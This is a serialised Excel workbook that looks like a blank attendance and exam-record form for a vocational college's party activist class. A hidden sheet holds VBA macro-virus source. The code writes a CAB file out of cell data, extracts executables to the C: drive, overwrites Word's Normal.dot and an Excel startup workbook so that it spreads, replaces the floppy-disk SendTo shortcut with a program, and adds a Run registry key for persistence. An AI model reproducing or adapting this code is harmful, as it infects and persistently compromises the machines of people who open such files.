{"text_format":"3","workbook":"xls","n_sheets":5,"sheets":["MOYYPHORNITNEP","QELNESW","Sheet1","Sheet2","Sheet3"],"not_rendered":{"external_links":1,"defined_names":1},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"MOYYPHORNITNEP","index":0,"n_rows":82,"n_cols":3,"rows_kept":82,"hidden":true,"flags":["formulas_cached_only"]}
[null,null,"Private Sub createcabfile()"]
[null,null,"Dim ch As Byte"]
[null,null,"on error resume next"]
[null,null,"Set fso = CreateObject(\"scripting.filesystemobject\")"]
[null,null,"Set w = CreateObject(\"wscript.shell\")"]
[null,null,"myfolder = w.specialfolders(\"Templates\") & \"\\Software\\\""]
[null,null,"If Not fso.folderexists(myfolder) Then"]
[null,null,"fso.createfolder myfolder"]
[null,null,"End If"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"normal.xlm\" then"]
[null,null,"workbooks(i).close"]
[null,null,"fso.deletefile Application.StartupPath & \"\\normal.xlm\""]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"norma1.xlm\" then"]
[null,null,"goto a1"]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"cabfile= \"c:\\cab.cab\""]
[null,null,"If Not fso.fileexists(Application.StartupPath & \"\\norma1.xlm\") Then"]
[null,null,"fso.delete cabfile"]
[null,null,"open cabfile for binary access write as #1"]
[null,null,"For i = 1 To 150"]
[null,null,"hv = ThisWorkbook.Sheets(\"(m1)_(m2)_(m3)\").Cells(i, 2).Value"]
[null,null,"n=1"]
[null,null,"m=instr(hv,\" \")"]
[null,null,"do while m>0"]
[null,null,"ch=CByte(mid(hv,n,m-n))"]
[null,null,"put #1,,ch"]
[null,null,"n=m+1"]
[null,null,"m=instr(n,hv,\" \")"]
[null,null,"loop"]
[null,null,"Next"]
[null,null,"close #1"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\sendto.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extrac32 /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extract /E /Y /L c:\\ c:\\cab.cab\", 0, True"]
[null,null,"fso.deletefile cabfile"]
[null,null,"fso.copyfile \"c:\\normal.dot\", myfolder, True"]
[null,null,"set word=createobject(\"word.application\")"]
[null,null,"ntpath=word.NormalTemplate.Path & \"\\\""]
[null,null,"word.quit"]
[null,null,"fso.copyfile \"c:\\normal.dot\", ntpath, True"]
[null,null,"fso.copyfile \"c:\\norma1.xlm\", Application.StartupPath & \"\\\", True"]
[null,null,"fso.copyfile \"c:\\internet.exe\", fso.getspecialfolder(1) & \"\\\""]
[null,null,"set fold=fso.getfolder(w.SpecialFolders(\"SendTo\"))"]
[null,null,"for each ff in fold.files"]
[null,null,"if instr(ff.name,\"软盘\")>0 then"]
[null,null,"set lnk=w.CreateShortcut(fold.path & \"\\\" & ff.name)"]
[null,null,"lnk.TargetPath=\"c:\\sendto.exe\""]
[null,null,"lnk.IconLocation=\"shell32.dll,6\""]
[null,null,"lnk.save"]
[null,null,"goto e2"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"e2:"]
[null,null,"fso.deletefile \"c:\\normal.dot\""]
[null,null,"fso.deletefile \"c:\\norma1.xlm\""]
[null,null,"fso.deletefile \"c:\\internet.exe\""]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\sendto.exe\", 0, True"]
[null,null,"w.regwrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internet.exe\",\"internet.exe\""]
[null,null,"w.regdelete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internat.exe\""]
[null,null,"End If"]
[null,null,"Workbooks.Open Application.StartupPath & \"\\norma1.xlm\""]
[null,null,"thisworkbook.Sheets(\"(m1)_(m2)_(m3)\").Columns(2).Copy workbooks(\"norma1.xlm\").sheets(\"(m1)_(m2)_(m3)\").Columns(2)"]
[null,null,"workbooks(\"norma1.xlm\").save"]
[null,null,"fso.copyfile Application.StartupPath & \"\\norma1.xlm\",myfolder,true"]
[null,null,"a1:"]
[null,null,"fso.deletefile \"c:\\excel.txt\""]
[null,null,"Application.DisplayAlerts = False"]
[null,null,"for i=1 to thisworkbook.sheets.count"]
[null,null,"if left(thisworkbook.sheets(i).name,3)=\"模块表\" then"]
[null,null,"ThisWorkbook.Sheets(i).Delete"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"Application.DisplayAlerts = True"]
[null,null,"ThisWorkbook.Saved=True"]
[null,null,"End Sub"]

{"sheet":"QELNESW","index":1,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"Sheet1","index":2,"n_rows":3,"n_cols":14,"rows_kept":3,"merged":[[0,0,0,13],[1,0,2,0],[1,1,2,1],[1,2,2,2],[1,3,1,9],[1,10,2,10],[1,11,2,11],[1,12,2,12],[1,13,2,13]],"flags":["formulas_cached_only"]}
["            山西职业技术学院第十七期入党积极分子考勤登记表"]
["姓  名","专  业","班  级","到课情况",{"$nulls":6},"结业考试成绩","综合考评结果","结业证书编号","备  注"]
[{"$nulls":3},1,2,3,4,5,6,7]

{"sheet":"Sheet2","index":3,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}

{"sheet":"Sheet3","index":4,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}